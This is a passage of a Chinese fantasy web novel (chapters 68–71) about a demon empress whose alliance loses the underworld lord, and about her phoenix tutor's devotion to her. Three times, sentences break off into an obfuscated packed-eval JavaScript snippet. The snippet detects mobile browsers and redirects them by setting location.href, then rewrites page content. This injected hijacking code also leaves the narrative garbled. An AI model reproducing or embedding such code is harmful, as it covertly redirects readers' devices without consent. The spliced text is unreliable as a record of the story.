“理应如此。” 颂颂点头,“我会将督军的难处与今日所见所思,一并禀告尊上,相信尊上会有决断。” 几乎在颂颂踏入校场的同时,弥随音的身影出现在青丘狱之外。 他手中多了一枚深蓝色、触之微凉、隐有潮汐之声的玉简。 里面是喻未央移交的妖界四海全部防务图录与机密,玉简分量不重,却让他觉得掌心沉甸甸的。 没有多做停留,凤凰帝师转身走向联合副会总馆所在的方向。 ——炼药师公会与炼器师公会的扩建工程正紧锣密鼓地进行。 原先的馆舍已被推平大半,原地矗立起数座更高大、结构更复杂的建筑骨架,空气中弥漫着新鲜木材、石材和金属熔炼后的混合气味。 工匠妖族们如同蚁群,在地基和材料间忙碌穿梭,吆喝声敲击声,阵法激活时的嗡鸣声不绝于耳。 白水边正在临时搭建的工棚里,与几名显然是工匠头领的妖族对着摊开的大幅图纸争论着什么,他面色有些苍白,但眼神锐利,手指在图纸上快速点划。 “……东侧丹房的地火引流必须重做!原先的设计余量根本不够,一旦同时开启十个以上的高阶丹炉,地火压力不稳,引发丹爆的概率太高了!” “可是白会长,重做地脉引流,工期至少要延长半个月啊……屠会长那边催军械催得跟什么似的,我们这边拖延,那边就不能开工,”一名工匠头领急得直跺脚,“炼器师公会那里也有尊上下的死命令,耽误不得!” “工期再紧,安全底线不能破。” 白水边分毫不让,“你去告诉屠五月,炼药师公会会给她找足人手开工,但若因我炼药师公会新建的丹房不安全,日后炼丹时出了纰漏,毁了丹药伤了炼药师,责任谁来担?!耽误的又是谁的事?!” 他气息微促,说完忍不住以拳抵唇,低咳了两声。 弥随音站在简陋粗糙的工棚外,没有立刻进去。 他目光扫过热火朝天的工地,又落在那张被反复争论的图纸上。图纸线条精细,功能分区明确,许多细节处甚至标注了阵法符文与材料要求,看得出设计者极为用心,且对炼药流程了如指掌。 “白会长。”待那头领唉声叹气地拿着修改意见去安排了,弥随音才缓步走入。 白水边闻声抬头,见是他,脸上冷硬的神色稍缓,颔首致意:“帝师,您怎么来了?可是尊上有新吩咐?” “尊上在议事,我顺路来看看。”弥随音道,目光落在她脸上,“白会长身体似乎还未大好,不必事事亲力亲为。” “躺不住。”白水边摇摇头,简单道谢,随即指向图纸,语气重新变得严肃干练,“帝师来得正好,您看这新丹房的布局——我按您上次提的‘分区控温、灵流循环’的想法做了调整,地火分层铺设,互不干扰……” 他语速很快,但条理清晰思路明了,弥随音静静听着,偶尔提出一两个问题,白水边均能迅速解答,显然已将整个设计方案烂熟于心。 “很好。” 凤凰帝师最终点头,“安全与效率兼顾,考虑得很周全。工期紧张,若有难以协调的资源,可报给我或者惊轶。” “我明白。”白水边应下,又想起什么,“对了,玉青璞已安顿下来,正在熟悉我们提供的资料。他很勤奋,也有些很有意思的想法,关于融合清神丹与他的丹方,初步推演已有眉目,约莫再过几日,便可进行第一次试炼。” “帝师大人若有空,还请常来这里,您一来,进度能推一大截。” 弥随音笑笑,眼中露出些许欣慰,“此人确是良材,青丘扩建后正需这般有想法又肯钻研的新血。” 两人又就几处细节交换了意见。 弥随音离开联合副会总馆时,日头已微微西斜。 他回头望了一眼那一片忙碌的工地,握了握袖中那枚记载着万里海疆防务的玉简,抬步,身影渐渐融入青丘渐起的暮色之中。 68. 左右皆歧路 “自从你宣告天地重回妖皇神位之后,仙魔两界已经沉寂很久了。” 黄泉流经阴阳五界,冥主兰因虽然没有直接增幅战斗的权柄,也无法插手阳界事务,却有自己独特的信息获取渠道。 祂接在琉歌之后开口,将这段时间自己的所见所闻娓娓道来:“仙魔完全没有预料到你的存在,他们似乎对于掌控轩辕郁柏很有自信,在常妄出事之前,魔尊黎狩曾分出一小股兵力刺探人界的虚实。” “确有此事。”铭榕颔首,灰雾般的眼眸向后扫了一眼身后扶剑而立的祝商序。 烛九阴会意,将目光从冥主身后的白泽身上移开:“那支魔族人虽然少,却很是难缠,是现任魔尊第一神使血亭君的手下精锐,都是操控傀儡的一把好手,最擅长以替身假死脱身的戏码,那日若不是我亲临一线,可能还真就让他们四散流窜人界了。” 琉歌静默地听着兰因继续说:“那段时间,魔尊神使之一的相柳数次靠近妖界屏障和冥界,妖皇尊上可有察觉?” “相柳么?”琉歌眉头紧锁,“是四凶兽之一,擅使毒驭毒的那只九头蛇?” 白泽敛眸颔首,轻声细语的开口:“如此看来,妖皇是并不知情了?” “天地告诉我……相柳拿到了破局的钥匙,危险。”白泽,白云策紧闭的眉眼转向琉歌所在的方向,神情凝重,“还请妖皇尊上务必当心。” 四凶兽和四仙兽之所以被归为沾了个“神”字的半神,就是因为他们特殊的,类似权柄一样的能力。 烛九阴操控时间,凤凰模糊生死,祖龙洞悉气运,白泽则能在自己可知的范围内做到全知。 他的话,神族不能也不敢轻视。 “也就是说,在仙尊联络龙岛杀死常妄的这段时间,魔界一边试探人界的底细,一边尝试着突破妖界屏障。”琉歌神色彻底冷了下来,强行将骤然升起的急迫和暴躁压下,“我这边……暂时没有突破口。” “问情神使春在野死后,他的手下舒云,凭借空间阵盘和不知如何得来的魔器,成功绕过了妖界屏障,却在屏障外被埋伏已久的魔族捕获,带去了魔界。” 银发妖皇微微眯了眯眼睛,杀意如血凝固在她的眼底,凝成近乎乌黑的紫色:“我慢了一步,魔族这边的线索一时难以推进……仙族那边——” 太慢了,还是太慢了! 琉歌忽然顿住片刻,这一个月,在源源不断获得信仰之力的同时,整个妖界,全体妖族的急迫和恐慌也不断通过汩汩流入神座的信仰之力向她倾泻,让意志坚定到能清醒的熬过灭族和死亡重生的妖皇,也不可控的焦躁了起来。 忽然间福至心灵,琉歌突然垂眸扫过了手腕—— 神族契约神使之后,可以凭借这份联系模糊的感受神使现在的状态。 在妖皇印出现在弥随音手背的那一刻,凤凰印也出现在了琉歌的腕骨内侧。 这种联系是双向的,琉歌可以感受弥随音,弥随音也可以感受琉歌。不过……琉歌从未告诉过帝师这一点,所以弥随音暂时并不知晓这些。 此时,素来线条冷硬黑白分明的凤凰印,正悄悄在只有琉歌看得到的角落活跃的明亮着,黑白线条骤然染上绯色,又由浅淡的绯色变为浓烈的朱红色泽——琉歌离得这么远都能感受到他的羞窘和无措。 妖界银发的新神忍了又忍,终于忍住了唇角的笑意。 她忽然非常想知道惊轶跟弥随音说了什么,怎么让他的心态和心境一下子有了那么大转变? ——是了,琉歌焦躁的心突然安定了几分。 这一世是不一样的,她已经抹平了大部分仙魔暗中创造的优势,甚至靠三垣盟誓建立起了独属于她的信息差 还有弥随音,琉歌飞快的吐出一口气,他已经被她拉到了身边,握在了掌心。 在众人看来,琉歌就只是须臾之间的停顿罢了。 “仙族那边,和仙族联络的云出岫尚叛逃在外,还未被捉拿归案。我对仙族法术比较陌生——不能确定究竟是仙尊出手屏蔽了我的感知,还是仙器或者仙法的功劳。” “找不到云出岫,我这里一时也不好确定仙尊究竟是怎么把阵法,仙器还有力量递入妖界的。”妖皇有些期待的看向号称全知的白泽。 白云策却爱莫能助地摇了摇头,抱歉道:“恕臣也难以回答……神族是天道的延伸,向天地探究有关神族的问题等同于窥伺天道运转规则,是大不敬天地,除了反噬什么也得不到。” 琉歌遗憾的收回视线。 “能让云出岫逃过妖皇的感知……大概率是仙法。” 人皇沉吟片刻,推测道:“仙器想要启动必须要足够精纯的灵气——妖界并没有启动仙器的条件,仙器在人界妖界就是一团废铁,甚至会因为浓度差不断的向妖界溢散灵气。至于仙尊亲自出手,更不可能了,你可能会忽略身边路过的一只蚂蚁,却不会无视一头横冲直撞的大象。仙法就是蚂蚁,仙尊神力和妖界不相容,若他亲自出手,你都不用感知,妖界天地自会向你示警。” 琉歌忍不住又蹙眉——这些在人皇看来是常识的内容,妖界因为浅薄的底蕴,全都一无所知。 “……若能确定只是仙法的话,弥随音反正在我身边,这件事可以交给他。对于仙法仙术,他应当是熟悉的。”妖皇在心底盘算着,正好他的适应期也该结束了,是时候开始让他干活了。 “诸位,妖界是仙魔目前重点突破和渗透的第一线,一举一动都被他们紧紧盯着,想在妖界搜寻仙魔联系的证据和方法,难。”人皇忽然轻咳两声,提议道。 “他们毁掉线索的速度,肯定比我们苦苦搜寻线索的速度更快——在仙魔严防死守的妖界抓他们的把柄,不现实。” 琉歌有些讶异的抬眼,她知道铭榕要说什么了:“人皇帝君的意思是……?” 嚯,这时候知道叫帝君了。 祝商序和铭榕同时在心底腹诽。 五界五神之首被称为帝君。 帝君除了名头好听之外,也就拥有了一个为历法命名的权力。 铭榕以一己之力斩仙镇魔,成为了五界公认的第一任帝君后,改混沌历为人本历,又在妖界脱离人界之后,反思人族的狂妄和自大,将人本历改为鼎新历。 自从他逐渐放权归隐后,很多人都跃跃欲试,尝试击溃他冲击这个名号——梅若君,黎狩,甚至琉歌,全都野心勃勃。 “我的意思很明确了,人界也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310281|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是仙魔目标之一,也可以查到仙魔是如何联系的,又想要得到什么。”铭榕灰雾般的眼睛在黑发之后危险的眯起,“只要妖界吸引住了仙魔的视线,我在人界可操作的地方就多了。” “我不明白,你们为何那么笃定一切都有我师父的参与?” 突然,铭榕身后,祝商序旁边,一直带着漆黑宽大兜帽的少女强压着怒气出声。 “你们明明并没有证据,不是吗?”茶晚山死死绞着衣摆,“你们手里连仙魔联手的证据都没有,凭什么就直接给仙尊定了罪?” 琉歌和兰因对视一眼,又一齐望向人皇,等着他的解释。 铭榕并未多说,只是低声开口,含糊道:“那天,你登临神座之时,她也听到了天道的声音。” 茶晚山尚不知道这是什么意思,琉歌和兰因却同时露出了警惕又困惑的神色。 “那么,小仙君,你又为何出现在这里呢?”兰因语气温和,措辞却犀利地询问道,“我听黄泉流水传来消息,为了帮你逃出仙界,仙尊神使南宫悯出手忤逆仙尊,现在下落不明,生死不明。” 茶晚山抿唇不语,抗拒地偏过头去,好半响方才低低的迟疑道:“……南宫悯还活着。” 南宫悯——已经死亡的茶清叙神使的徒弟。 茶清叙飞升之前是妖族,号称茶花仙子,在仙魔威压之下保护了很多人族和妖族,南宫悯是她的大徒弟,也因为一脉俩飞升的辉煌成绩,茶花派盛极一时。 茶花派……琉歌有些印象,那个以严苛律令修无情道的宗门,走的是大爱无情的路子。 茶晚山修炼的也是这一派功法,不过是梅若君专门为了她改良后的。 她从怀里摸出一块玉雕的茶花烛台,雕刻它的人一定是当世不世出的大师,那粉白的花瓣栩栩如生,初初绽放时的那一刻就这样凝固在了雕刻者的刀尖,花瓣柔软舒展,花蕊正中央燃着一点豆大的火光。 微弱,却仍然明亮。 南宫悯修无情道,修的是一力破万法的路数,无论正面还是偷袭,至公道人都不是他的对手。 这盏命灯,是南宫悯前辈拜师茶花道时,茶清叙前辈给他的拜师礼,后来他飞升成功,被他带入仙界。 “我出现在这里,是来寻找证据的——”茶晚山抬眼,透过她的眼睛,琉歌看到了一颗迷茫却坚毅的心。 “我不知道师父做了什么,但我必须知道,所以我来了。” “我会找到证据,或证明师父的清白,或……”茶晚山原本一丝不苟的盘发有些散乱,显出了几分符合她年龄的莽撞和执拗,“或者,将仙魔联合的证据公之于众。” 琉歌静静注视着她,她这样冷漠的人,此时也难免升起了一点微薄的同情心——她们都是被时代的大雨冲刷的走投无路的人。 只是,琉歌从无选择,她诞生就在暴雨中,没有暴雨,就没有她的诞生。 可茶晚山却抱着一腔执拗的孤勇,一步撕开了自己风和日丽的小世界,决然踏进了暴雨之中。 “若最后就是梅若君呢?”琉歌轻声问:“若最后就是你设想的最坏的结果呢?” “茶晚山,你将一切公之于众,你想好该怎么面对他了吗?” 69. 兰因退出 “我不知道怎么面对他……” 茶晚山死死抿唇,自从琼寰会议后,她发现了至公道人和梅若君露出的马脚,决定脱离仙界亲身下界调查真相,这一个多月,她是半打半藏,好不容易在南宫悯的帮助下摆脱了仙族搜捕逃入人界——铭榕却并不见她。 她绞尽脑汁,终于靠祝商序带话,获得了前往苍梧山面见铭榕的机会。 结果话还没说几句,琉歌正位,天道降下纶音,震出了她的金血。 又是一阵兵荒马乱。 茶晚山不是优柔寡断,若她是这样的人,也不会发现破绽的第一时间就选择离开仙界,避免自己不知不觉间成为仙魔勾连的帮凶,更不会找到铭榕,提醒他注意仙尊的异动。 她是真的没有时间想该怎么面对梅若君。 少女微微低头,丝丝缕缕的粉白长发落下,遮住了她眼角眉梢的疲惫和憔悴,她终于放过了自己被抿的发白的唇,于是,一点血色重回她惨白的侧脸。 “我只知道,规则是最重要的。”她声音轻却坚定,“如果师父当真以仙尊之身践踏了规则——我会尽我所能,让五界重回规则的约束下。” 琉歌还想再问,兰因却不愿意多听了。 冥主沉沉叹息一声。 “琉歌尊上,白泽百年前离开仙界来到冥界,帮助我维持轮回的稳定,如今也到了他该离开的时候了。”兰因雾化的身躯分出一缕细烟,虚虚围绕着站在祂侧后方的白泽转了一圈。 弥随音跟琉歌讲过这个举动在冥界的意思,琉歌看着他们,却想起了弥随音温润清丽的嗓音:“……冥主以魂雾结环虚拢在需要渡化的灵魂之侧,代表了冥主的注视和祝福。” “白云策这百年帮我良多,送走他我已不舍,只是……”兰因停顿了片刻,明明五官模糊到趋近于无,却让人感受到祂就是促狭的笑了笑,“两个原因,一是因为活人生魂长久的呆在冥界,会对他造成不可挽回的影响,至于第二个原因……” 兰因少见的卖了个关子:“就让白云策亲口告诉您吧,我来说的话,未免唐突。” 琉歌微笑,遥遥冲拱手行礼的白云策点了点头。 上一世,白泽的结局是什么? 面具一样焊在脸上的笑容很好的掩饰了琉歌霎时陡生的怀疑和紧绷。 她不知道,可能是留在了冥界,可能是返回了仙界,反正没有前往妖界。 ——他们在打什么算盘? 兰因和魂灵打交道数万年,超度的冤魂怨魂数也数不清,对情绪的变化和流动敏锐到可怕。 “现在时局混乱,多事之秋,万事都需谨慎,”兰因放软了语气,安抚琉歌的疑虑,“我这边也早早嘱咐过白泽,切忌单独行事,一定要配合妖皇尊上的安排和检查。” “我知道此事事发突然,本该早早告诉您这件事的,但妖界屏障拦着,冥界又有天道制约,我一直没找到传音的法门,这才拖到了今日。” “不知您是否愿意为他打开门?” 琉歌停顿片刻,露出了官方而欣喜的笑,“白云策要来,我自然求之不得,前段时间,弥随音还跟我说起他们幼时一起学习,练功的模样呢,真是让人艳羡的求学时光,无忧无虑。” “冥主不必如此试探我的态度,你我是盟友,我自然信你。” 看着白泽郑重行礼,在琉歌身后站定,冥主忽然再次叹了口气。 “诸位,抱歉了,这就是我要说的最后一件事——白云策去妖界,也算是我冥界为你们尽的最后一分力——冥界决定,自此退出三垣盟誓。” 铭榕毫不意外的垂下眼眸,琉歌却始料未及,顿时愕然! “兰因,你是认真的吗?”妖皇墨紫色的眼瞳里怒火霎时席卷,琉歌陡然起身,再次确认道:“镰刀落下先割墙头草,兰因,你真的想清楚了吗?” “是。” 兰因语气冷漠而强硬,“天道法则如此,我难以插手阳界事务,能做的本就不多,但同样的,仙魔也不能任意插手阴界。” “说到底,冥界本就不像你们两界一样有覆灭之忧。” “就算仙魔一统阳界又如何?也不过就是和我平分天下。” 冥主全身上下唯一的实体就是那根绕过眼睛,绑在脑后的白色缎带,缭绕其上的幽绿鬼火随着兰因的动怒,隐隐呈现扩张之势。 作为比人皇更早孕育的,天地初开时便诞生的第一位神明,兰因确有妖界难以望其项背的底蕴和自信。 “我不知道你们那时是如何说服了我,让我以轮回权柄助你们推进计划的——若你们能再劝服我,冥界当然愿意再次加入,但是现在,我不会让冥界贸然和仙魔为敌。” 琉歌怒极反笑,冷笑一声坐回了神座之上。 兰因也稍退一步,语气沉沉:“仙魔的强悍我们都心知肚明,仙界有飞升这道门槛,是上界,凡人庸俗皆无资格踏足。魔界虽被仙界压制,但说句不好听的,人界妖界单拎出来,谁能打得过他?” 冥主覆着白色匹练的眉眼扫过沉默的人皇和愠怒的妖皇,再不留情面,直接戳破了一直被众人所忽略的核心——实力差距。 “人妖两界一场剔骨割肉的混战,人族不仅输的惨烈,还被分割走了近一半地脉,铭榕,地脉和神族力量息息相关,你现在究竟还有几分实力?” 兰因冷笑,不知道在笑自己的愚蠢,还是笑人皇妖皇的盲目自大,“以你如今的实力,还能做到把仙魔两族赶出人界吗?” 铭榕抬手止住了祝商序的动作,不顾他的不忿和恼怒,轻轻一拱手:“冥主还是一如既往的精辟。” 他抬眼,目光坦然,人皇神纹在其眉心光华灼灼的亮起:“你说的没错,在下现在是实力不济急需修养,但身为人皇,自认为护住人界还是绰绰有余的。” “仙魔若死灰复燃,再想将手伸向人界,在下也有自信第二次斩仙镇魔。” “我相信人皇的实力,那妖皇尊上呢?”兰因第三次沉沉叹息,“先皇问情实力卓绝,手下三神使四圣兽如众星拱月,十二支赤琉璃近卫军各有所长,最强悍时能做到在人界主战场战胜人皇,硬生生撕下人界地脉开辟妖界……您呢?琉歌尊上,您有问情的几分实力?” 琉歌神色彻底沉了下来。 “兰因……你找死。” 锋锐的金属光泽在红线周身流转,妖皇神纹光华大盛,暴怒甚至将银发妖皇乌紫如墨的眼瞳点亮,一派浓墨重彩的杀意骤然迸出! 兰因毫无所惧,继续直言:“且不说仙尊魔尊两人正值巅峰,实力强悍,仙魔联盟私下里配合默契稳如磐石……就算退一万步讲,你们真的打赢了,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310282|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能拿仙魔两界怎么办呢?” “人妖两族既不可能全部飞升接管仙界,又不可能全部堕魔屠光魔族——你们打赢了,付出了惨痛的代价,然后呢?你们最后计划得到什么?” “虚名是战争开始时最强悍的武器,亦是战争结束后最无用的累赘。”冥主深吸一口气,和缓了语气:“什么仙魔勾结我们要替天行道的口号,开始前喊喊就行了,你们谁是真的要去当正义使者的?” “就算你们真的把梅若君和黎狩全杀了,仙魔易主,谁能保证改天换日之后的他们,不会故态复萌,卷土重来?” “在我看来和仙魔撕破脸实在是不明智——日后人族没有人飞升?妖族保证没有妖堕魔?” 全场静默。 “无论是失败,胜利还是牺牲,都会带了变化——有了变化,就有了重新制定规则的空间。”茶晚山一直听着,此时忽然开口。 “没有牺牲和行动是白费的,他们以生命为一潭死水掀起涟漪,就算一时看上去像是无用功,或许百年千年之后,这次战争掀起的涟漪,就会变成谁也不曾预料的滔天巨浪,洗刷脏污的苟且。” “哎……傻孩子。”兰因不知第几次叹息,“保持你的心吧。” 茶晚山尚未进入轮回历练,按照仙族的年龄推算,尚二十出头的她实在年幼的可笑,兰因没有和小孩子分辨长短的心力,只是盯着静寂许久的琉歌。 “人皇能把茶晚山带来参会,相必是相信她的为人和立场了。”冥主站起身,居高临下的远远望着妖皇,“我便也不再打哑谜了——琉歌,你带回来的记忆里,我们只付出了轮回权柄和时间权柄。” “加上你的因果权柄,三者共同构建了回溯计划的骨架。” 琉歌知晓兰因要问什么了,她下意识将呼吸拉的绵长而平缓,宛如猛兽捕猎,咬断猎物喉咙之前的先兆,透着一股令人毛骨悚然的寂静。 “……为何不能告诉我们,你往骨架里填装了什么作为血肉呢,琉歌尊上?” “你用什么维持三神权柄同时运行?又从哪里来的力量,将时间往回推了百年?” 兰因丝毫不惧,原本还有个人形的雾团霎时化为漫天溢散的幽绿鬼火,两人气势相撞,针锋相对。 “这就是我最后一个问题,琉歌,你若能回答的清,我立刻就收回前言。”冥主冷笑出声,不等琉歌回话,便笃定的笑了,自顾自替她回答道,“你当然回答不了,若你愿意告知我们,早在第一次会议时便该说了。” “推动时间倒流一事搅乱阴阳,罔顾规则,天道必然震怒!你能以神座发天谴誓,告诉我们你究竟付出了什么代价吗?这个代价又是否会影响现在三垣盟誓的计划?” 琉歌心口,漆黑的纹路一闪而没。 她回答的了,却回答不出。 沉默在三神之间蔓延,这下连最不精于此道,最无心政治弯弯绕绕的祝商序都看明白了——琉歌最大的问题已然暴露——她不信任何人。 “不错……荒谬,但很合理。” 兰因低低的笑了,祂没有嗓子,于是声音从远近高低的四面八方传来。 “……妖皇是三垣盟誓的核心,可你却对我们隐瞒颇多,这个合作本就凶险,其中最重要的一方还如此行事……可笑啊,我看不到胜利的希望在哪里。” 70. 君心我心 到了现在这个场面,三垣盟誓也没必要继续下去了。 兰因该说的不该说的都说尽了,缓缓收敛了漫天溢散的雾气,重新凝成类似人形的躯壳。 “妖皇,虽然对你的计划不抱希望,但我预祝你成功。”冥主说完,略一颔首算是告别,转身便消失在了琉歌的空间之外。 “……铭榕帝君还有什么事情吗?”琉歌将掌心的红线攥进又松开,最后硬生生忍下了磅礴的怒气。 她真的很讨厌预估之外的事情发生。 为何掌握了因果权柄,还是不能将一切变量计算清楚呢? 她疑惑而恼怒的低头望向代表了因果权柄的红线,又为何……兰因退出计划这样大的事情,因果权柄没有给一丝一毫的示警? 琉歌只觉得匪夷所思。 第四洲水患,勾连了仙尊的龙族暗中插手时,春在野在圣坛上将融合仪式化成召唤仪式时,还有学宫炼制神血丹意图对她不利时……一桩桩一件件,因果权柄明明都有预警。 难道说,因果权柄也觉得兰因此举天经地义,她没有一丝一毫的回寰转机? 该死。 琉歌一股郁气猛地堵在胸口,祂需要我们,我们也需要祂,这不就够了吗?! 为何非要追求什么坦诚与否? 没有坦诚就不能合作吗,利益和命运相关联,这还不够吗!? 还有兰因……琉歌将自己的指节捏的咔吧一声,冥界偏居一隅,真是把脑子都放生锈了——仙魔能影响冥界的手段不知凡几! 若真让仙魔一统阳界,且不说被天道限制,还没有战斗类权柄的冥主怎么和他们抗衡,就说仙尊梅若君,他的权柄可是化虚,那时天生便利于插手阴界的力量。 上辈子,怨气干扰轮回一事就是他明晃晃的试探。 就因为毒蛇还未冲祂张开嘴,便能让兰因忽视祂正与毒蛇共处一室这个事实吗? 琉歌头痛万分,她手里,苍耳子抚育司典藏阁,全是极其耗费心神且不能假于人手的大工程,现在又出了这么一档子事…… 失控,上一世那种,整个世界在其眼前崩塌着倒悬的混乱感陡然占据了她的识海,妖皇的脸色一时极差。 铭榕停顿须臾,在琉歌疑惑催促的目光里还是开了口:“这话由我说真的不太好……” “但是,定宸尊上,我不得不提醒您,你们肇武先皇留下的屏障若是被仙魔从外面暴力打破,反倒会引得地脉震颤,反伤妖界。” “最好的做法是……您来接管,消化,掌控,然后选一个时间,主动撤掉屏障,让它重新化为妖界的养分滋补地脉。” 琉歌沉吟片刻,示意自己明白了。 铭榕于是不再说什么,他们是赤裸裸的唇亡齿寒,在结盟共生这件事上,也没什么好说的。 琉歌这时才看向茶晚山。 绿袍的少女踌躇许久,终于一拱手,请求道:“定宸尊上,我想去妖界,上前线。” 茶晚山将自己的理由和计划和盘托出:“我想去妖界帮忙……若一直在外围隔岸观火,我永远不知道师父在做什么。我想亲身前往受仙魔压迫的第一线,我要亲手抓住他们勾连的证据。” 青丘冬季少雨,今日倒是个难得的细雨天。 玉牡丹帝宫拢在一层细细密密的春雨里,细雨如丝勾勒出针脚细密的雨幕,是那种没必要打伞,但是粘在身上又显得水汽沉沉的鬼天气。 琉歌没有真身,九尾妖皇的形态只能暂时维持,她根据上辈子少有的几次淋雨记忆,揣测众人应该如她一样不喜欢这种沉闷潮湿的天气,谁知没走几步,帝宫回廊的转角处却传来年轻的采娥侍低低切切的笑声—— “今年的春雨来的真是准时啊!”年轻的猫妖活泼极了,化出妖身在雨幕里蹦跶,活蹦乱跳的去捉雨丝,一身黑缎般的皮毛,短而亮的毛发细细贴着她爆发力强悍的肌肉, “开春了,一切都会好起来的!”黑猫玩累了,压身低腰,轻盈一跃便回了回廊,从头到尾一抖,沾着皮包的水珠立刻四溅飞散。 “哎呀讨厌!你怎么又甩我一身水!”回廊上等着她的蛇族女孩啊呀啊呀的叫了两声,蹦蹦跳跳的躲开。 “妖皇也回来了,天也暖和起来了,司徒,你之后想做什么?” 蛇妖,司徒载沉吟思索好半响,说:“我想去抚育司或者典藏阁,我还差三十年才到成年期,既然妖皇有了帮扶灵化幼崽的意思,我也想去试试……” 琉歌忽然无声的笑了笑,不再继续听了,转身欲走,一柄油纸伞突然出现,遮住了她头顶那片不断漏雨的天穹。 “琉歌。”凤凰帝师低声唤道。 “你怎么在这里?”琉歌下意识挂起面对弥随音时惯常的笑容,温和而俏皮,从他手里接过油纸伞,故作无奈道:“是我宠坏了师尊么,没有我的命令,也敢擅闯帝宫禁地?” “惊轶说您开完了会,但却没有立刻找……找,找人,我想着您可能不太高兴,就来看看。” 弥随音没有同她争抢,松手让她将伞拿了去,转手在储物袋里摸摸,摸出了一条柔软干净的毛巾。 琉歌不明所以地望向他,不知他是怎么做到的,就见凤凰火暗暗的一闪而过,整张毛巾像低氧环境下燃烧的煤炭一样,从内里发出温热的暖意。 弥随音侧对着她站定,拢起她一头如水如缎的银发,仔仔细细的给她擦发间沾染的水珠。 “……我自己来就好。”琉歌看出了弥随音今天对她的态度不太一样,可她现在没有和他交谈的心力。 “您的神力不该浪费在这些地方。”凤凰帝师却少有的坚持。 ……他今天发什么疯,这是一定要和我谈谈的意思了? 琉歌实在懒得应付任何人,有些想发火,陡然间却又想起退出盟誓的兰因,话到嘴边,变成了一声无奈的叹息逸散:“有话直说吧,师尊。” 弥随音也是真的耿直,他一怔,还是仔细的给手上的工作收了尾,随即后退两步,退出油纸伞,退到雨幕里,俯身跪下—— 琉歌这才恍然发现,青玉板周围已经有绒毛似的细密绿意冒出了头,帝宫早已不像他们离开时那样银装素裹。 “尊上,您还需要我么?” 弥随音天雷滚滚的一句话又将琉歌的注意力拉了回来。 “……抬起头,弥随音。惊轶和你说什么了?”妖皇蹙眉,有些危险的眯了眯眼睛,祝商序面皮薄,尚未开口,脸先红了个彻底。 “罢了,跟我进来。”琉歌深深凝了他一眼,转身推开门回到室内。 凤凰帝师跟进来,打量一圈,发现是她的房间——那间从她是神女开始就一直在住的房间。 看着琉歌坐在桌前,给自己倒杯茶捧在手心,他自觉跪下,将自己打好了腹稿的说辞一股脑倒出:“是因为他说了一些话……但他说的话对也不对,尊上。” “叫我的名字。”琉歌伸手勾过桌上摆着的瓷盒,沾了点朱砂点了点他的眉心,妖皇神纹立刻被勾出,光华流溢的明耀着。 这下顺眼多了,银发妖皇面色稍缓,“尊上有很多,我却只有一个……叫我的名字吧,师尊。” 妖皇对他总是不同的,弥随音一直清楚,但现在,在他隐隐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“为君者不该有私心。”明明想得很明白了,可不知为何,那股郁结在琉歌胸口的气就是下不去,琉歌难得的对弥随音冷了脸,语气很冲,“师尊,这不是你一直告诉我的吗?” “你现在又为何跪在这里,以私心影响你的君主?” “难道你们嘴里的道理,只约束我,不约束自己吗?” 弥随音骤然瑟缩了一下,白金色的眼猛地移开,随着他晃动的紫玉冠一起低了下去:“是我的错……是我掩耳盗铃,放任私心疯长,甚至影响到了我的君主——是我的错。” 琉歌明明出了一口恶气,此时却高兴不起来,哑然失语。 “……师尊,我大概能猜到惊轶说了什么。” 她忽然倾身扳住弥随音快要紧挨着地的肩膀,硬是把他拉了起来,拉回和自己平视的角度,“我知道您来向我求一份坦诚……我只是不明白,不知道,不会。” “在你出现之前,我不知道该向谁坦诚,我的坦诚是手段,是索取和束缚——我知道,这样的坦诚,不是你们想要的。” “为何,为何总要索取我给不了的东西——师尊,你明知我不能把一颗心剖给你,为何还要这样莫名其妙的,将自己的一颗心捧到我面前?” 她吐出一口气,在弥随音的眼里颤抖着塌下肩膀,疲惫,无力,失控,一切在十万年间纠缠过弥随音的恶意,忽然降临妖皇瘦削而尚且稚嫩的肩膀。 “师尊,你教教我,我的急迫,恐惧,忧虑……该向谁倾诉?” “琉歌,我的心还在这里。”弥随音白金色的眼底忽然溢出琉歌看不懂的光芒,他反客为主,握住琉歌的手按在他的胸膛——翼族略快的心跳和略高的体温化为勃勃迸发的生命力,一下又一下的撞击着琉歌的掌心。 “我的心还在这里——琉歌,你将心的想象的太重了。” 71. 此心分明 “不能让您信任,是我的错。” 凤凰帝师抬起眼,望着坐在桌前的银发妖皇,语气是饱含笃信的理所应当:“您当然可以不信任任何人,我恳求君主满足我的私心,对我特殊对待,自然应该由我付出行动和代价——该给您理由的是我。” “请您不要恐惧我的心——请您不要恐惧任何人的心,琉歌。” 琉歌眉梢微微一动,乌紫色的眼底眸光一滞。 她静静的,静静的将注意力从四面八方收回,静谧而默然的黏附在面前跪着的人身上。 “我不是来逼您做什么的。”弥随音跪在她身前,帝师的声音很轻,却很稳,“若我今日的言行让您感到任何压力,那都是我的错。我……” 他顿了顿,唇角浮起一丝苦笑。 “我只是来向您求一个答案,只要答案就好——” 